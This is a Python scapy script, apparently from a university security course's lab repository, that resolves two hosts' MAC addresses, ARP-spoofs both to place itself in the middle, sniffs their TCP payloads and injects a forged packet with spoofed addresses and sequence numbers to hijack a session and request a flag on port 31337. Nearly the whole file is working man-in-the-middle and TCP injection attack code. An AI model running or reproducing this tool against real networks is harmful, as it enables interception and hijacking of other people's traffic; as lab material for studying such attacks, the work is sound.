mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 09:54:07 +00:00
138 lines
3.6 KiB
Python
138 lines
3.6 KiB
Python
import warnings
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from argparse import ArgumentParser
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from scapy.layers.l2 import Ether, ARP
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from scapy.layers.inet import IP, TCP
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from scapy.packet import Raw
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from scapy.arch import get_if_addr, get_if_hwaddr
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from scapy.sendrecv import srp1, sendp, sniff
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WHO_HAS = 1
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IS_AT = 2
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MAIN_IF = "eth0"
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main_if_mac = get_if_hwaddr(MAIN_IF)
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main_if_ip = get_if_addr(MAIN_IF)
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broadcast_mac = "ff:ff:ff:ff:ff:ff"
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target_1_ip = "10.0.0.3"
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target_2_ip = "10.0.0.4"
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target_1_mac = ""
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target_2_mac = ""
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target_port = 31337
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flag_mode = False
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def get_target_macs():
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pkt_1 = Ether() / ARP()
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pkt_1[Ether].src = main_if_mac
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pkt_1[Ether].dst = broadcast_mac
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pkt_1[ARP].op = WHO_HAS
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pkt_1[ARP].hwsrc = main_if_mac
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pkt_1[ARP].hwdst = broadcast_mac
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pkt_1[ARP].psrc = main_if_ip
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pkt_1[ARP].pdst = target_1_ip
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pkt_2 = pkt_1.copy()
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pkt_2[ARP].pdst = target_2_ip
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ans_1 = srp1(pkt_1, iface=MAIN_IF)
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ans_2 = srp1(pkt_2, iface=MAIN_IF)
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target_1_mac = ans_1[ARP].hwsrc
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target_2_mac = ans_2[ARP].hwsrc
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return (target_1_mac, target_2_mac)
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def spoof_target(target_ip, target_mac, fake_ip):
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# pretend that fake_ip is at main_if_mac
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pkt = Ether() / ARP()
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pkt[Ether].src = main_if_mac
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pkt[Ether].dst = target_mac
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pkt[ARP].op = IS_AT
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pkt[ARP].hwsrc = main_if_mac
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pkt[ARP].hwdst = target_mac
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pkt[ARP].psrc = fake_ip
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pkt[ARP].pdst = target_ip
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sendp(pkt, iface=MAIN_IF)
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def backdoor(port, seq, ack, msg):
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# prerequisites
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# needs target macs first
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if target_1_mac == "" or target_2_mac == "":
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raise Exception("get mac addresses first")
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pkt = Ether() / IP() / TCP() / Raw()
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pkt[Ether].src = target_2_mac
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pkt[Ether].dst = target_1_mac
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pkt[IP].src = target_2_ip
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pkt[IP].dst = target_1_ip
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pkt[TCP].sport = port
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pkt[TCP].dport = target_port # target_1 always listens on this port
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pkt[TCP].seq = ack
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pkt[TCP].ack = seq + len(msg)
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pkt[TCP].flags = "PA"
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pkt[Raw].load = b"FLAG\n"
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# pkt.show()
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sendp(pkt, iface=MAIN_IF)
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def packet_handler(pkt):
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raw_load = pkt[Raw].load.decode("latin")
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print(
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str(pkt[IP].src) + ":" + str(pkt[TCP].sport),
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">",
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str(pkt[IP].dst) + ":" + str(pkt[TCP].dport),
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)
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if raw_load.startswith("COMMANDS"):
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backdoor(port=pkt[TCP].dport, seq=pkt[TCP].seq, ack=pkt[TCP].ack, msg=raw_load)
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print(raw_load, end="")
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def capture_packets():
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sniff(
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prn=packet_handler,
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iface=MAIN_IF,
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lfilter=lambda x: x.haslayer(TCP) and x.haslayer(Raw),
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)
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if __name__ == "__main__":
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parser = ArgumentParser()
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parser.add_argument(
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"-l", "--list-macs", required=False, dest="list_macs", action="store_true"
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)
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parser.add_argument(
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"-s", "--arp-spoof", required=False, dest="arp_spoof", action="store_true"
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)
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parser.add_argument(
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"-c", "--capture", required=False, dest="capture", action="store_true"
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)
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parser.add_argument(
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"-i", "--infiltrate", required=False, dest="infiltrate", action="store_true"
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)
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args = parser.parse_args()
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if args.arp_spoof and not args.list_macs:
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args.list_macs = True
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warnings.warn("Warning: spoofing needs MAC addresses, acquiring them first")
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if args.infiltrate:
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flag_mode = True
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if args.list_macs:
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target_1_mac, target_2_mac = get_target_macs()
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print(target_1_ip + " is at " + target_1_mac)
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print(target_2_ip + " is at " + target_2_mac)
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if args.arp_spoof:
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spoof_target(target_1_ip, target_1_mac, target_2_ip)
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spoof_target(target_2_ip, target_2_mac, target_1_ip)
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if args.capture:
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capture_packets()
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